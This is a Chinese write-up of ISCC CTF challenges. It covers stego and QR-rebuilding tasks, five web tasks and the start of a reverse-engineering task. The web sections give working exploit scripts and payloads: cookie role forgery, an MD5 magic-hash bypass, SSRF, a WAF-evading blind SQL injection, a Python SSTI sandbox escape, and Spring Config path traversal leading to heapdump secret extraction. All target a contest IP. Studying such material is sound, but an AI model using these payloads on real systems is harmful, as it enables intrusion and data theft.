文章总结: 本文档为ISCCCTF非武部分两道MISC题目的解题Writeup。MISC1通过分析网络流量中的UDP载荷找到重复密码,解压后使用LSB隐写获得flag;MISC2从21张条形码图片中提取PNG注释、LSB隐写和Code128三种数据源,重建21×21二维码并反相识别。文档提供了完整的Python自动化解题脚本,包含多路径数据提取、矩阵构建和二维码识别变体穷举等关键技术细节。 综合评分: 85 文章分类: CTF,WEB安全,数据安全,移动安全,安全工具
2. 三路取数(通用)
每张 PNG 都尝试 3 路信息源:
- PNG Comment
- 第 0 行红通道 LSB 解码文本(row0_lsb)
- Code128 条码正文
行格式统一匹配正则:[A-U][0-9a-fA-F]{6}[A-U]
即每行形如:字母 + 6位hex + 相同字母。
3. 按 A..U 排列并还原位图
拿到 A..U 后:
- 按字母顺序排序
- 取中间 6 hex,转成 24bit
- 按系列规则取后 21bit(low 21 bits)
- 21 行拼成 21×21 矩阵
本题样本中,二维码需要做一次黑白反相才能正常识别(这一点 PoC 里已自动穷举)。
WEB1-值班邮件台
漏洞点 1:Cookie 鉴权绕过
服务端用两个明文 Cookie 控制身份:
text
text
Set-Cookie: mail_user=guest
Set-Cookie: mail_role=user
直接篡改为 mail_user=admin; mail_role=admin 即可提权到管理员,进入后台预览面板。
根因:身份标识完全由客户端控制,无签名/加密/服务端 Session 校验。
漏洞点 2:双人复核 MD5 弱比较
表单要求提交两个"预览凭据" token_a 和 token_b,服务端逻辑大致为:
php
php
if (md5($token_a) == md5($token_b) && $token_a !== $token_b) {
// 复核通过
}
利用 PHP 的 magic hash 弱类型比较:当 MD5 以 0e 开头且后续全为数字时,PHP 将其当作科学计数法 0 × 10^n = 0,所以 0 == 0 为 true。
输入 MD5
240610708 0e462097431906509019562988736854
QNKCDZO 0e83040451993494058024219903391
两个字符串不同,但 MD5 弱比较相等 → 复核绕过。
漏洞点 3:SSRF 本机诊断访问
后台面板的"诊断地址"字段存在 SSRF,服务端会代为请求指定 URL。联调文件 route-index.txt 泄露了内部路由:
text
text
health -> /internal/health
mailq -> /internal/queue
final -> /internal/report?view=flag&slot=last
``
将 `target_url` 设为 `http://127.0.1/internal/report?view=flag&slot=last`,服务端以本机身份请求自身,返回了 flag。
---
### 攻击链总结
Cookie 篡改 (guest→admin) → 进入后台 → MD5 magic hash 绕过复核 → SSRF 访问内部 flag 接口
poc
import requests
url = "http://39.105.213.28:49103/admin.php"
cookies = {"mail_user": "admin", "mail_role": "admin"}
data = {
"token_a": "240610708",
"token_b": "QNKCDZO",
"target_url": "http://127.0.0.1/internal/report?view=flag&slot=last"
}
r = requests.post(url, cookies=cookies, data=data)
flag = r.text.split('<textarea readonly>')[1].split('</textarea>')[0].strip()
print(flag)
WEB2-灵感笔记
题目信息
- 目标: http://39.105.213.28:5000/login
- 技术栈: Werkzeug/2.3.7 Python/3.11.15
漏洞链总览
注册 admin 用户 → 管理员权限 → API 触发 403 获取 trace_id → /feedback 泄露调试日志 → pickle 反序列化 → flag
解题过程
1. 基础侦察
访问首页 302 跳转到 /login,存在注册入口 /register。
普通用户登录后,dashboard 加载 /main.js,其中暴露了两个关键端点:
// 隐藏的项目详情接口
POST /api/v1/project/detail
Content-Type: application/json
{"project_id": "<project-id>"}
// 管理员提示接口
GET /api/admin/hint
JS 源码中还注释了:请求失败时可以拿 trace_id 去 /feedback 联系作者。
2. 管理员身份绕过
注册接口没有校验用户名保留字,直接注册 admin 用户即可获得管理员身份:
POST /register
username=admin&password=admin123
登录后 /api/admin/hint 返回 200,dashboard 中出现 is-admin 隐藏字段,可见两个特殊项目:
admin-notes-002flag-project-001
3. 触发受限访问获取 trace_id
用管理员 session 请求 flag 项目详情:
POST /api/v1/project/detail
Content-Type: application/json
{"project_id": "flag-project-001"}
返回 403 并携带 trace_id:
{
"error": "访问被拒绝",
"message": "您无权查看此笔记",
"trace_id": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
}
4. 调试日志泄露 pickle 对象
将 trace_id 提交到 /feedback(必须同一 session):
POST /feedback
Content-Type: application/x-www-form-urlencoded
trace_id=xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx
返回的调试日志中,stack_trace 字段包含一个十六进制编码的 Python pickle 对象:
Object: 80049591000000000000007d94288c0474797065948c0b464c41475f4f424a45435494...
5. 反序列化获取 flag
将十六进制数据转为字节后用 pickle.loads() 反序列化:
import pickle
obj = pickle.loads(bytes.fromhex(hex_data))
# {'type': 'FLAG_OBJECT', 'flag': 'ISCC{...}', 'project_id': 'flag-project-001', 'timestamp': '...'}
漏洞分析
| 漏洞 | 类型 | 危害 | | — | — | — | | 注册 admin 用户 | 认证绕过 / 用户名未做保留字校验 | 直接获取管理员权限 | | API 返回 trace_id | 信息泄露 | 攻击者获得调试日志查询凭证 | | /feedback 无鉴权 | 越权访问 | 任意用户可通过 trace_id 查看系统调试日志 | | pickle 反序列化 | 不安全的反序列化 | 可导致任意代码执行(本题用于提取 flag) |
POC
import requests
import re
import pickle
TARGET = "http://39.105.213.28:5000"
s = requests.Session()
s.post(f"{TARGET}/register", data={"username": "admin", "password": "admin123"})
s.post(f"{TARGET}/login", data={"username": "admin", "password": "admin123"})
r = s.post(f"{TARGET}/api/v1/project/detail", json={"project_id": "flag-project-001"})
trace_id = r.json()["trace_id"]
r = s.post(f"{TARGET}/feedback", data={"trace_id": trace_id})
hex_data = re.search(r"[0-9a-f]{50,}", r.text).group()
print(pickle.loads(bytes.fromhex(hex_data)))
WEB3-校园社团活动平台
Target:
http://39.105.213.28:8000/Flag:ISCC{Campus_Stat_A_7K!zY@w}Category: Web / SQL InjectionDifficulty: Medium
一、题目概述
目标是一个「校园社团活动平台」,存在多个信息泄露漏洞和一个 SQL 注入漏洞。需要通过多步信息收集获取必要的请求头和 Token,最终利用布尔盲注从数据库中提取 flag。
二、漏洞链 (Vulnerability Chain)
robots.txt 信息泄露
↓
/static/hint/tech_stack.txt 请求头要求泄露
↓
/?page=2 响应头 X-Campus-Token 泄露
↓
目录枚举发现隐藏端点
↓
HTML 隐藏元素 & 注释泄露 flag 片段 + SQL 注入提示
↓
/admin/stat/activity/ SQL 布尔盲注
↓
从 flag 表提取完整 flag
三、详细步骤
Step 1: robots.txt 信息泄露
请求:
GET /robots.txt HTTP/1.1
Host: 39.105.213.28:8000
响应:
User-agent: *
Allow: /static/hint/tech_stack.txt
分析:robots.txt 暴露了敏感路径 /static/hint/tech_stack.txt。
Step 2: 提示文件泄露请求头要求
请求:
GET /static/hint/tech_stack.txt HTTP/1.1
Host: 39.105.213.28:8000
响应:
Backend: Django 5.2.5
ATTENTION:
To access the core interface, you need to set two request headers correctly:
1. User-Agent: Must strictly follow "Campus-Stat/1.0" (including case and special symbols);
2. Referer: Must be a valid HTTPS URL containing "campus-stat.example.com" (no extra content, only the root domain).
分析: 后端为 Django 5.2.5,访问核心接口需要设置:
User-Agent: Campus-Stat/1.0Referer: https://campus-stat.example.com/
Step 3: 从 /?page=2 响应头提取 X-Campus-Token
请求:
GET /?page=2 HTTP/1.1
Host: 39.105.213.28:8000
响应头(关键字段):
X-Campus-Token: campus-ctf-2024-abc123
分析: 服务器在响应头中泄露了第三个必要的认证 Token。
Step 4: 端点枚举
使用已收集的三个请求头进行目录枚举:
| 端点 | 状态码 | 备注 |
| — | — | — |
| / | 200 | 主页 |
| /admin/ | 200 | 管理页面(隐藏入口) |
| /stat/ | 200 | 统计页面 |
| /activity/ | 200 | 活动页面 |
| /admin/stat/activity/ | 200 | SQL 注入入口 |
Step 5: HTML 隐藏内容分析
5.1 /admin/ – 诱饵 flag
<div class="hidden-hint" style="color: rgba(0,0,0,0.1)">flag{stat</div>
使用接近透明的文字颜色 rgba(0,0,0,0.1) 隐藏了 flag{stat,这是诱饵(真正的 flag 格式为 ISCC{})。
页面提示:
- “Nothing here directly, but maybe start from here…”
- “暴力走不通,观察=通关~”
5.2 /stat/ – 中间线索
<div class="hint">Maybe this is a middle step?</div>
<div>Keyword: <span class="keyword">maybe</span></div>
5.3 /activity/ – 半截 flag
<div class="hidden-flag" style="display: none">ISCC{Campus_Stat_A_</div>
JavaScript console 中也有线索:
console.log("%c[Clue] Half of the truth: ISCC{Campus_Stat_A_", "color: #4CAF50; font-size: 14px;");
console.log("%c[Hint] The target might be combined with previous clues...", "color: #2196F3; font-size: 12px;");
5.4 /admin/stat/activity/ – SQL 注入入口 & 关键提示
<!-- 隐藏提示1:藏在input的title属性中 -->
<input type="text" name="dim_filter" title="该参数会作为统计结果的别名使用">
<!-- 隐藏提示2:藏在不可见元素的属性中 -->
<div class="hint-attr" data-hint="SQL语句格式为SELECT COUNT(*) AS [维度值] FROM activity"></div>
<!-- 隐藏提示3:藏在HTML注释中 -->
<!-- Flag存储在flag表的value字段,可通过构造条件判断字符是否正确 -->
<!-- WAF会过滤空格和完整关键词,可用/**/替代空格,简化关键词绕过 -->
关键信息:
dim_filter参数会拼接到 SQL 查询中- SQL 格式:
SELECT COUNT(*) AS [维度值] FROM activity - Flag 在
flag表的value字段 - WAF 过滤空格(用
/**/替代)和完整关键词(用大小写混写绕过)
Step 6: SQL 注入探测
6.1 注入点确认
测试 dim_filter 参数:
dim_filter=1 → count=10 (正常,activity 表有 10 行)
dim_filter=1=0 → count=0 (条件为假,无匹配)
dim_filter=1/**/aNd/**/1=1 → count=10 (条件为真,绕过 WAF)
结论:dim_filter 被拼接到 WHERE 子句中,实际 SQL 为:
SELECT COUNT(*) FROM activity WHERE ${dim_filter}
6.2 WAF 规则
| 关键词 | 原始 | 绕过方式 | 绕过后 |
| — | — | — | — |
| 空格 | | /**/ 注释替代 | /**/ |
| FROM | FROM | 大小写混写 | FrOm |
| WHERE | WHERE | 大小写混写 | WhErE |
| SELECT | SELECT | 大小写混写 | SeLeCt |
| SUBSTR | SUBSTR | 大小写混写 | SubStr |
| UNION | UNION | 大小写混写 | uNiOn |
注意:'(单引号)、{(花括号)等特殊字符在字符匹配时会被过滤,需用 ChAr() 函数替代。
6.3 布尔盲注原理
利用 COUNT(*) 的返回值作为布尔判断:
- True:
WHERE条件为真 → 返回✅ 10(activity 表全部匹配) - False:
WHERE条件为假 → 返回✅ 0(无匹配行)
Step 7: Flag 提取
7.1 获取 Flag 长度
Payload:
dim_filter=1/**/aNd/**/(SeLeCt/**/LeNgTh(value)/**/FrOm/**/flag/**/LimIt/**/0,1)=27
结果: Flag 长度 = 27 字符
7.2 逐字符提取
通用 Payload(普通字符):
dim_filter=1/**/aNd/**/SubStr((SeLeCt/**/value/**/FrOm/**/flag/**/LimIt/**/0,1),{pos},1)='{char}'
特殊字符 Payload(单引号/花括号等被 WAF 过滤时):
dim_filter=1/**/aNd/**/SubStr((SeLeCt/**/value/**/FrOm/**/flag/**/LimIt/**/0,1),{pos},1)=ChAr({ascii})
7.3 完整提取结果
| 位置 | 字符 | ASCII | 绕过方式 |
| — | — | — | — |
| 1 | I | 73 | 直接匹配 |
| 2 | S | 83 | 直接匹配 |
| 3 | C | 67 | 直接匹配 |
| 4 | C | 67 | 直接匹配 |
| 5 | { | 123 | ChAr(123) |
| 6 | C | 67 | 直接匹配 |
| 7 | a | 97 | 直接匹配 |
| 8 | m | 109 | 直接匹配 |
| 9 | p | 112 | 直接匹配 |
| 10 | u | 117 | 直接匹配 |
| 11 | s | 115 | 直接匹配 |
| 12 | _ | 95 | 直接匹配 |
| 13 | S | 83 | 直接匹配 |
| 14 | t | 116 | 直接匹配 |
| 15 | a | 97 | 直接匹配 |
| 16 | t | 116 | 直接匹配 |
| 17 | _ | 95 | 直接匹配 |
| 18 | A | 65 | 直接匹配 |
| 19 | _ | 95 | 直接匹配 |
| 20 | 7 | 55 | 直接匹配 |
| 21 | K | 75 | 直接匹配 |
| 22 | ! | 33 | ChAr(33) |
| 23 | z | 122 | 直接匹配 |
| 24 | Y | 89 | 直接匹配 |
| 25 | @ | 64 | ChAr(64) |
| 26 | w | 119 | 直接匹配 |
| 27 | } | 125 | ChAr(125) |
四、Flag
ISCC{Campus_Stat_A_7K!zY@w}
五、关键 Payload 汇总
信息收集
# robots.txt
curl http://39.105.213.28:8000/robots.txt
# 提示文件
curl http://39.105.213.28:8000/static/hint/tech_stack.txt
# Token 提取
curl -I http://39.105.213.28:8000/?page=2
端点发现
curl -H "User-Agent: Campus-Stat/1.0" \
-H "Referer: https://campus-stat.example.com/" \
-H "X-Campus-Token: campus-ctf-2024-abc123" \
http://39.105.213.28:8000/admin/stat/activity/
SQL 盲注
# 求长度
curl "http://39.105.213.28:8000/admin/stat/activity/?dim_filter=1/**/aNd/**/(SeLeCt/**/LeNgTh(value)/**/FrOm/**/flag/**/LimIt/**/0,1)=27" \
-H "User-Agent: Campus-Stat/1.0" \
-H "Referer: https://campus-stat.example.com/" \
-H "X-Campus-Token: campus-ctf-2024-abc123"
# 逐字符判断(普通字符)
curl "http://39.105.213.28:8000/admin/stat/activity/?dim_filter=1/**/aNd/**/SubStr((SeLeCt/**/value/**/FrOm/**/flag/**/LimIt/**/0,1),1,1)='I'" \
-H "User-Agent: Campus-Stat/1.0" \
-H "Referer: https://campus-stat.example.com/" \
-H "X-Campus-Token: campus-ctf-2024-abc123"
# 逐字符判断(特殊字符,用 ChAr() 绕过)
curl "http://39.105.213.28:8000/admin/stat/activity/?dim_filter=1/**/aNd/**/SubStr((SeLeCt/**/value/**/FrOm/**/flag/**/LimIt/**/0,1),5,1)=ChAr(123)" \
-H "User-Agent: Campus-Stat/1.0" \
-H "Referer: https://campus-stat.example.com/" \
-H "X-Campus-Token: campus-ctf-2024-abc123"
import requests
import string
import sys
import time
BASE_URL = "http://39.105.213.28:8000"
TIMEOUT = 10 # 请求超时(秒)
HEADERS = {
"User-Agent": "Campus-Stat/1.0",
"Referer": "https://campus-stat.example.com/",
"X-Campus-Token": "campus-ctf-2024-abc123",
}
def phase1_robots():
"""Step 1: robots.txt 信息泄露"""
print("[*] Phase 1: robots.txt 信息泄露")
r = requests.get(f"{BASE_URL}/robots.txt", headers=HEADERS, timeout=TIMEOUT)
print(f" GET /robots.txt -> {r.status_code}")
print(f" Content: {r.text.strip()}")
# 泄露: Allow: /static/hint/tech_stack.txt
return"/static/hint/tech_stack.txt"
def phase1_tech_stack(hint_path):
"""Step 2: 提示文件泄露请求头要求"""
print(f"\n[*] Phase 2: 读取提示文件 {hint_path}")
r = requests.get(f"{BASE_URL}{hint_path}", headers=HEADERS, timeout=TIMEOUT)
print(f" Content:\n{r.text.strip()}")
# 要求: User-Agent: Campus-Stat/1.0, Referer: https://campus-stat.example.com/
def phase1_token():
"""Step 3: 从 /?page=2 响应头提取 X-Campus-Token"""
print("\n[*] Phase 3: 提取 X-Campus-Token")
r = requests.get(f"{BASE_URL}/?page=2", headers=HEADERS, timeout=TIMEOUT)
token = r.headers.get("X-Campus-Token", "")
print(f" X-Campus-Token: {token}")
# 更新 HEADERS
HEADERS["X-Campus-Token"] = token
return token
def phase2_discovery():
"""Step 4: 目录枚举,发现隐藏端点"""
print("\n[*] Phase 4: 端点枚举")
endpoints = [
"/", "/admin/", "/stat/", "/activity/",
"/admin/stat/", "/admin/stat/activity/",
]
found = []
for ep in endpoints:
r = requests.get(f"{BASE_URL}{ep}", headers=HEADERS, timeout=TIMEOUT)
status = "✅"if r.status_code == 200 else"❌"
print(f" {ep} -> {r.status_code} {status}")
if r.status_code == 200:
found.append(ep)
return found
def phase2_analyze_pages():
"""Step 5: 分析各页面隐藏内容"""
print("\n[*] Phase 5: 分析页面隐藏内容")
# /admin/ - 隐藏的 flag{stat (诱饵)
r = requests.get(f"{BASE_URL}/admin/", headers=HEADERS, timeout=TIMEOUT)
if"flag{"in r.text:
import re
flags = re.findall(r'flag\{[^<]*', r.text)
print(f" /admin/ 隐藏文本: {flags} (诱饵)")
# /stat/ - keyword: maybe
r = requests.get(f"{BASE_URL}/stat/", headers=HEADERS, timeout=TIMEOUT)
if"keyword"in r.text:
import re
kw = re.findall(r'keyword[^<]*<[^>]*>([^<]*)', r.text)
print(f" /stat/ keyword: {kw}")
# /activity/ - 隐藏的 ISCC{ 部分 flag
r = requests.get(f"{BASE_URL}/activity/", headers=HEADERS, timeout=TIMEOUT)
if"ISCC"in r.text:
import re
parts = re.findall(r'ISCC\{[^\s<"]*', r.text)
print(f" /activity/ 隐藏 flag 片段: {parts}")
# console.log 中也有线索
clues = re.findall(r'\[Clue\]\s*([^\"]*)', r.text)
print(f" /activity/ console clue: {clues}")
# /admin/stat/activity/ - SQL 注入入口
r = requests.get(f"{BASE_URL}/admin/stat/activity/", headers=HEADERS, timeout=TIMEOUT)
import re
hints = re.findall(r'data-hint="([^"]*)"', r.text)
comments = re.findall(r'<!--\s*(.*?)\s*-->', r.text, re.S)
print(f" /admin/stat/activity/ data-hint: {hints}")
print(f" /admin/stat/activity/ HTML注释:")
for c in comments:
c = c.strip()
if c:
print(f" {c}")
def sqli_test():
"""Step 6: 确认 SQL 注入点及 WAF 规则"""
print("\n[*] Phase 6: SQL 注入探测")
url = f"{BASE_URL}/admin/stat/activity/"
# 正常请求 -> count = 10 (activity 表有 10 行)
r = requests.get(url, params={"dim_filter": "1"}, headers=HEADERS, timeout=TIMEOUT)
count = extract_count(r.text)
print(f" dim_filter=1 -> count={count}")
# 1=0 -> count=0 (WHERE 条件为假)
r = requests.get(url, params={"dim_filter": "1=0"}, headers=HEADERS, timeout=TIMEOUT)
count = extract_count(r.text)
print(f" dim_filter=1=0 -> count={count}")
# 1 AND 1=1 -> count=10 (大小写绕过 WAF)
r = requests.get(url, params={"dim_filter": "1/**/aNd/**/1=1"}, headers=HEADERS, timeout=TIMEOUT)
count = extract_count(r.text)
print(f" dim_filter=1/**/aNd/**/1=1 -> count={count}")
# 测试 WAF 关键词过滤
print("\n WAF 规则测试:")
blocked = ["FROM", "WHERE", "SELECT", "UNION", "SUBSTR", "SUBSTRING", "ASCII"]
bypass = ["FrOm", "WhErE", "SeLeCt", "uNiOn", "SubStr", "SubString", "AsCiI"]
for orig, byp in zip(blocked, bypass):
r1 = requests.get(url, params={"dim_filter": f"1/**/{orig}/**/1"}, headers=HEADERS, timeout=TIMEOUT)
r2 = requests.get(url, params={"dim_filter": f"1/**/{byp}/**/1"}, headers=HEADERS, timeout=TIMEOUT)
c1 = extract_count(r1.text)
c2 = extract_count(r2.text)
waf1 = "❌ BLOCKED"if"非法"in r1.text else"✅ PASS"
waf2 = "❌ BLOCKED"if"非法"in r2.text else"✅ PASS"
print(f" {orig:10s} -> {waf1} | {byp:10s} -> {waf2}")
def extract_count(html):
"""从 HTML 中提取统计结果数字"""
import re
m = re.search(r'✅\s*(\d+)', html)
return int(m.group(1)) if m else -1
def sqli_boolean(pos, char):
"""布尔盲注: 判断指定位置的字符"""
url = f"{BASE_URL}/admin/stat/activity/"
# 用 ChAr() 绕过特殊字符过滤
payload = f"1/**/aNd/**/SubStr((SeLeCt/**/value/**/FrOm/**/flag/**/LimIt/**/0,1),{pos},1)=ChAr({ord(char)})"
r = requests.get(url, params={"dim_filter": payload}, headers=HEADERS, timeout=TIMEOUT)
return extract_count(r.text) == 10
def sqli_extract_flag():
"""Step 7: 布尔盲注逐字符提取 flag"""
print("\n[*] Phase 7: SQL 布尔盲注提取 Flag")
# 先求长度
url = f"{BASE_URL}/admin/stat/activity/"
flag_len = 0
for l in range(1, 60):
payload = f"1/**/aNd/**/(SeLeCt/**/LeNgTh(value)/**/FrOm/**/flag/**/LimIt/**/0,1)={l}"
r = requests.get(url, params={"dim_filter": payload}, headers=HEADERS, timeout=TIMEOUT)
if extract_count(r.text) == 10:
flag_len = l
break
print(f" Flag 长度: {flag_len}")
# 逐字符爆破
charset = string.ascii_letters + string.digits + "_{}!@#$%^&*()-+=[]|\\:;\"'<>,.?/~`"
flag = ""
for pos in range(1, flag_len + 1):
found = False
# 先用常规字符集
for c in charset:
if sqli_boolean(pos, c):
flag += c
found = True
break
# 如果常规字符集没找到,用 ChAr() 遍历 ASCII
if not found:
for ascii_val in range(32, 127):
payload = f"1/**/aNd/**/SubStr((SeLeCt/**/value/**/FrOm/**/flag/**/LimIt/**/0,1),{pos},1)=ChAr({ascii_val})"
r = requests.get(url, params={"dim_filter": payload}, headers=HEADERS, timeout=TIMEOUT)
if extract_count(r.text) == 10:
flag += chr(ascii_val)
found = True
break
if not found:
flag += "?"
sys.stdout.write(f"\r Flag: {flag}")
sys.stdout.flush()
print(f"\n\n ✅ FLAG: {flag}")
return flag
if __name__ == "__main__":
print("=" * 60)
print(" CTF Web Challenge Exploit")
print(" Target: http://39.105.213.28:8000/")
print("=" * 60)
# Phase 1: 信息收集
hint_path = phase1_robots()
phase1_tech_stack(hint_path)
phase1_token()
# Phase 2: 端点发现
phase2_discovery()
phase2_analyze_pages()
# Phase 3: SQL 注入
sqli_test()
flag = sqli_extract_flag()
print("\n" + "=" * 60)
print(f" FLAG: {flag}")
print("=" * 60)
WEB4-企业公文套红预览系统
通过模板注入绕过过滤,读取 doc 中的 flag。
1、信息收集
访问首页与 robots.txt,发现提示路径。
访问备份文件:
http://39.105.213.28:49104/backup/app.py.bak
http://39.105.213.28:49104/backup/index.php.bak
app.py.bak 显示 doc 结构含 flag 字段。
index.php.bak 给出关键提示:从 '' 对象一路向上找(典型 Python 沙箱逃逸思路)。
2、漏洞点确认
{{doc.get('title')}} 可执行并有回显。
{{doc.get('flag')}} 被“模板已被拦截”。
说明存在关键字拦截,但表达式本身可执行。
3、利用思路
通过对象链拿到 __builtins__:
''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']
用 chr() 动态拼接字符串 "flag",避免明文关键字。
将拼好的键传给 doc.get(...),取出真实 flag。
payload
{{doc.get(''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](102)+''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](108)+''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](97)+''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr'](103))}}
import re
import requests
URL = "http://39.105.213.28:49104/preview"
def build_payload() -> str:
bridge = "''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['chr']"
key = "+".join(f"{bridge}({ord(ch)})"for ch in"flag")
return"{{doc.get(" + key + ")}}"
def main():
payload = build_payload()
r = requests.post(URL, data={"tpl": payload}, timeout=10)
r.raise_for_status()
m = re.search(r"<pre>(.*?)</pre>", r.text, re.S)
if not m:
print("No result.")
return
print("[+] Payload sent")
print("[+] Result:", m.group(1).strip())
if __name__ == "__main__":
main()
WEB5-Spring| Cloud Config Central
题目信息
| 项目 | 内容 |
| — | — |
| 目标 | http://39.105.213.28:12602/ |
| 技术栈 | Spring Boot 2.2.6 + Spring Cloud Config Server |
| FLAG | ISCC{Double_Decode_Spring_Bingo_2026} |
漏洞链总览
① Spring Cloud Config 绝对路径读取 (WAF绕过)
→ 读取 /app/application.yml → 发现隐藏 Actuator 路径
↓
② Actuator /env 信息泄露
→ 获取诊断备份下载路径
↓
③ HPROF Heapdump FLAG 提取
→ strings 提取堆内存中的 FLAG
阶段 1:配置接口任意文件读取
漏洞原理
Spring Cloud Config Server 的 resource 端点 {name}/{profile}/{label}/{path} 中,{path} 参数支持绝对路径。 服务端对 ../ 做了 WAF 拦截(返回 403),但对 %2f(URL 编码 /)开头的绝对路径未做校验。
信息收集
# 首页提示端点格式
GET /config/{app}/{profile}/{filename}
# 正常访问(确认接口可用)
curl "http://39.105.213.28:12602/config/app/dev/application.yml"
返回:
server:
port: 8080
hint: 'This is just a mock repository config. The real secrets are in the main application.yml at the system root (/app/application.yml).'
WAF 绕过 — 读取绝对路径
# 以下方式均失败:
# ../ → 框架规范化,404
# ..%252F → WAF 拦截,403
# ..%2f → WAF 拦截,403
# %2e%2e%2f → WAF 拦截,403
# ✅ 用 %2f 编码绝对路径首字符,绕过 WAF
curl "http://39.105.213.28:12602/config/app/dev/%2fapp%2fapplication.yml"
原理:
%2f解码后变成/,最终路径为/app/application.yml。WAF 只检查了..模式,没有拦截绝对路径。
返回真实配置
server:
port:8080
spring:
application:
name:cloud-config-central
management:
endpoints:
web:
base-path:"/internal-monitor-xyz123"
exposure:
include:"env"
endpoint:
env:
keys-to-sanitize:"password,secret,key,token,.*credentials.*,vcap_services,FLAG"
system:
diagnostic:
auto-dump:true
last-crash-time:"2026-03-10T08:15:32Z"
backup-download-path:${SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH}
关键发现
- Actuator 隐藏路径:
/internal-monitor-xyz123(非默认/actuator) - 暴露端点:仅
env - Sanitize 列表:
password, secret, key, token, credentials, vcap_services, FLAG - 诊断备份路径:值来自环境变量
${SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH}
阶段 2:Actuator Env 信息泄露
请求
curl "http://39.105.213.28:12602/internal-monitor-xyz123/env"
关键响应
在 systemEnvironment propertySource 中找到:
{
"SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH": {
"value": "/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat",
"origin": "System Environment Property \"SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH\""
}
}
同时确认 FLAG 被脱敏:
{
"FLAG": {
"value": "******",
"origin": "System Environment Property \"FLAG\""
}
}
其他有价值的系统属性
| 属性 | 值 |
| — | — |
| user.dir | /app |
| user.name | root |
| java.class.path | target/challenge-0.0.1-SNAPSHOT.jar |
| org.apache.catalina.connector.CoyoteAdapter.ALLOW_BACKSLASH | true |
| org.apache.tomcat.util.buf.UDecoder.ALLOW_ENCODED_SLASH | true |
阶段 3:Heapdump FLAG 提取
下载诊断备份
curl -o diagnostic.dat "http://39.105.213.28:12602/api/v3/internal/dev/diagnostics/snapshot/8e2f1a4b.dat"
file diagnostic.dat
# diagnostic.dat: Java HPROF dump, created Tue Mar 10 13:14:21 2026
提取 FLAG
strings diagnostic.dat | grep "ISCC{"
输出:
ISCC{Double_Decode_Spring_Bingo_2026}
原理
Spring Boot Actuator 的 env 端点通过 keys-to-sanitize 对敏感值脱敏,但这只是 API 层面的过滤。 HPROF 堆转储是 JVM 内存的完整快照,环境变量以原始值存储在 java.lang.ProcessEnvironment 对象中,不受 sanitize 影响。poc
import requests
import re
import subprocess
import sys
BASE = "http://39.105.213.28:12602"
def stage1_read_config():
"""Stage 1: 利用配置接口读取绝对路径文件(%2f 编码绕过 WAF)"""
print("[*] Stage 1: 读取 /app/application.yml ...")
# %2f 编码绝对路径首字符,绕过 WAF 对 ../ 的拦截
url = f"{BASE}/config/app/dev/%2fapp%2fapplication.yml"
r = requests.get(url)
if r.status_code != 200:
print(f"[-] 失败: HTTP {r.status_code}")
sys.exit(1)
config = r.text
print(f"[+] 配置内容:\n{config}\n")
# 提取 Actuator 隐藏路径
base_path_match = re.search(r'base-path:\s*"([^"]+)"', config)
if not base_path_match:
print("[-] 未找到 Actuator base-path")
sys.exit(1)
actuator_path = base_path_match.group(1)
print(f"[+] Actuator 隐藏路径: {actuator_path}")
return actuator_path
def stage2_get_env(actuator_path):
"""Stage 2: 从 Actuator /env 端点获取诊断备份路径"""
print("[*] Stage 2: 读取 Actuator /env ...")
url = f"{BASE}{actuator_path}/env"
r = requests.get(url)
if r.status_code != 200:
print(f"[-] 失败: HTTP {r.status_code}")
sys.exit(1)
data = r.json()
# 从 systemEnvironment 中提取诊断备份路径
backup_path = None
forsourcein data.get("propertySources", []):
ifsource["name"] == "systemEnvironment":
props = source.get("properties", {})
if"SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH"in props:
backup_path = props["SYSTEM_DIAGNOSTIC_BACKUP_DOWNLOAD_PATH"]["value"]
break
if not backup_path:
print("[-] 未找到诊断备份路径")
sys.exit(1)
print(f"[+] 诊断备份路径: {backup_path}")
return backup_path
def stage3_extract_flag(backup_path):
"""Stage 3: 下载 HPROF 堆转储并提取 FLAG"""
print("[*] Stage 3: 下载并分析 Heapdump ...")
url = f"{BASE}{backup_path}"
r = requests.get(url)
if r.status_code != 200:
print(f"[-] 下载失败: HTTP {r.status_code}")
sys.exit(1)
hprof_file = "diagnostic.dat"
with open(hprof_file, "wb") as f:
f.write(r.content)
print(f"[+] 已下载 {len(r.content)} 字节 -> {hprof_file}")
# 用 strings 提取 FLAG
result = subprocess.run(["strings", hprof_file], capture_output=True, text=True)
# 匹配常见 CTF flag 格式
patterns = [r'ISCC\{[^}]+\}', r'flag\{[^}]+\}', r'CTF\{[^}]+\}', r'[A-Z]+\{[A-Za-z0-9_!@#%^&*()-]+\}']
for pat in patterns:
flags = re.findall(pat, result.stdout)
if flags:
unique = list(set(flags))
print(f"\n{'=' * 50}")
print(f" 🏁 FLAG: {unique[0]}")
print(f"{'=' * 50}")
return unique[0]
print("[-] 未找到 FLAG,尝试手动分析 heapdump")
return None
def main():
print("=" * 50)
print(" Spring Cloud Config CTF POC")
print("=" * 50)
actuator_path = stage1_read_config()
backup_path = stage2_get_env(actuator_path)
stage3_extract_flag(backup_path)
if __name__ == "__main__":
main()
RE1
1. 题目特征与脱壳
用 PE 节表判断可见 UPX0/UPX1/UPX2,说明样本经过 UPX 压缩。
脱壳后节恢复正常,核心区:
.text:0x140001000
.rdata:0x14002C000
.data:0x14003F000
后续分析应以“脱壳后样本”为准,否则会出现常量不一致导致 flag 算错。
2. 定位校验逻辑
通过字符串 Input flag in the format ISCC{xxxxxxxxxxxxxxxxxxxx}: 回溯到主流程。
格式校验要求:
总长 26
前缀 ISCC{
后缀 }
中间 20 字节
在 0x1400072b2 附近是核心循环。
0x14000732c 处 mov r8d, 0x14,说明比较长度固定 20 字节。
关键常量(你提供):
0x14003F010: 2f 00 00 00 -> seed = 0x2f
